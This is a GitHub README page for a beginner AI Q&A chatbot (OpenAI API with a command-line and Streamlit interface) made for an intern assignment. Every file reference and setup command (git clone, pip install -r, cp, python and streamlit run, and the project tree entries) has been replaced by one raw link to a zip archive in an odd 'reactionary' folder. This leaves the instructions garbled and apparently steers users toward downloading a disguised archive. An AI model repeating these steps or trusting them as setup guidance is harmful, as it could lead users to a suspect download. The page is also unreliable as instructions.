Skip to content

anmolmishra09/ai-qa-bot

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

3 Commits
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigation

๐Ÿค– AI Q&A Bot

An AI-powered question-answering bot built for an intern assignment. Ask anything and get intelligent responses!

Python OpenAI License

๐Ÿ“‹ Table of Contents

โœจ Features

  • ๐Ÿ’ฌ Natural Conversation: Chat naturally with AI
  • ๐Ÿง  Context Awareness: Remembers previous messages in conversation
  • ๐ŸŽจ Two Interfaces:
    • Command-line for quick interactions
    • Beautiful Streamlit web UI (Stretch Goal!)
  • ๐Ÿ”„ Clear History: Start fresh conversations anytime
  • ๐Ÿ“Š Message Counter: Track your conversation stats
  • ๐Ÿš€ Easy Deployment: Ready for Streamlit Cloud

๐ŸŽฅ Demo

Command Line Version

๐Ÿค– AI Q&A Bot - Command Line Edition
============================================================
โœ… Connected to OpenAI!

๐Ÿ‘ค You: What is Python?
๐Ÿค– AI: Python is a high-level programming language...

๐Ÿ‘ค You: quit
๐Ÿ‘‹ Thanks for chatting! Goodbye!

Web Interface

(Add screenshot here after running)

๐Ÿš€ Quick Start

Prerequisites

Installation

  1. Clone the repository
git clone https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip
cd ai-qa-bot
  1. Create virtual environment
# Windows
python -m venv venv
venv\Scripts\activate

# Mac/Linux
python3 -m venv venv
source venv/bin/activate
  1. Install dependencies
pip install -r https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip
  1. Set up environment variables
# Copy the example file
cp https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip .env

# Edit .env and add your OpenAI API key
# OPENAI_API_KEY=sk-your-key-here

๐Ÿ’ป Usage

Option 1: Command Line

python https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip

Commands:

  • Type any question and press Enter
  • Type clear to start a new conversation
  • Type quit or exit to end

Option 2: Web Interface (Stretch Goal!)

streamlit run https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip

Then open your browser to http://localhost:8501

๐Ÿ“ Project Structure

ai-qa-bot/
โ”œโ”€โ”€ https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip                 # This file
โ”œโ”€โ”€ https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip          # Python dependencies
โ”œโ”€โ”€ https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip             # Example environment variables
โ”œโ”€โ”€ .gitignore               # Git ignore file
โ”œโ”€โ”€ https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip                # Command-line version
โ”œโ”€โ”€ https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip                   # Streamlit web interface
โ”œโ”€โ”€ https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip       # My development journey
โ””โ”€โ”€ screenshots/             # App screenshots

๐Ÿ“š What I Learned

Technical Skills

  1. API Integration: Connected to OpenAI's API and handled responses
  2. Environment Variables: Learned to secure API keys using .env files
  3. Error Handling: Implemented try-catch blocks for robust error management
  4. UI Development: Created both CLI and web interfaces
  5. State Management: Used session state in Streamlit for conversation history

Problem-Solving

  • Challenge: API key not loading

    • Solution: Used python-dotenv and verified file location
  • Challenge: Conversation context not maintained

    • Solution: Implemented message history array
  • Challenge: Streamlit app not updating

    • Solution: Used https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip for persistent data

Tools & Resources Used

  • ๐Ÿ” Google/ChatGPT: For debugging errors and learning syntax
  • ๐Ÿ“– OpenAI Docs: API documentation and best practices
  • ๐Ÿ“บ YouTube: Streamlit tutorials
  • ๐Ÿ“ StackOverflow: Troubleshooting specific issues

๐ŸŽฏ Challenges & Solutions

Challenge 1: Setting Up Python Environment

Problem: Confusion between python and python3 commands

What I tried:

  1. Typed python --version - didn't work
  2. Googled "python command not found"
  3. Found I needed to use python3 on Mac/Linux

Solution: Used python3 and created an alias

Challenge 2: API Key Security

Problem: How to use API key without exposing it in code?

What I tried:

  1. First hardcoded the key (bad practice!)
  2. Researched "how to hide API keys python"
  3. Learned about environment variables

Solution: Implemented .env file with python-dotenv

Challenge 3: Managing Conversation Context

Problem: Bot forgot previous messages

What I tried:

  1. Read OpenAI docs about conversation history
  2. Implemented message array
  3. Tested with follow-up questions

Solution: Pass entire conversation history to API

๐Ÿš€ Deployment (Stretch Goal!)

Deploy on Streamlit Cloud

  1. Push to GitHub
git add .
git commit -m "Initial commit"
git push origin main
  1. Deploy on Streamlit

See https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip for Render deployment instructions.

๐Ÿ”ฎ Future Improvements

  • Add voice input/output
  • Support multiple AI models (GPT-4, Claude, etc.)
  • Save conversation history to database
  • Add user authentication
  • Export conversations as PDF
  • Add typing indicator animation
  • Support image-based questions
  • Multi-language support

๐Ÿค Contributing

This is a learning project, but suggestions are welcome!

๐Ÿ“„ License

MIT License - feel free to use this for learning!

๐Ÿ‘จโ€๐Ÿ’ป Author

Built with โค๏ธ and lots of Googling for the Intern Assignment

Time Spent: ~4 hours (including learning, debugging, and documentation)

Key Takeaway: Building is the best way to learn. Every error taught me something new!


๐Ÿ’ก Tips for Future Interns

  1. Don't fear errors - They're learning opportunities
  2. Document everything - Future you will thank present you
  3. Start small - Get basic version working first
  4. Google is your friend - Everyone does it, even senior developers
  5. Add polish gradually - Basic working > Perfect but incomplete

Questions? Open an issue or reach out!


Built as part of the Intern Assignment Challenge

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages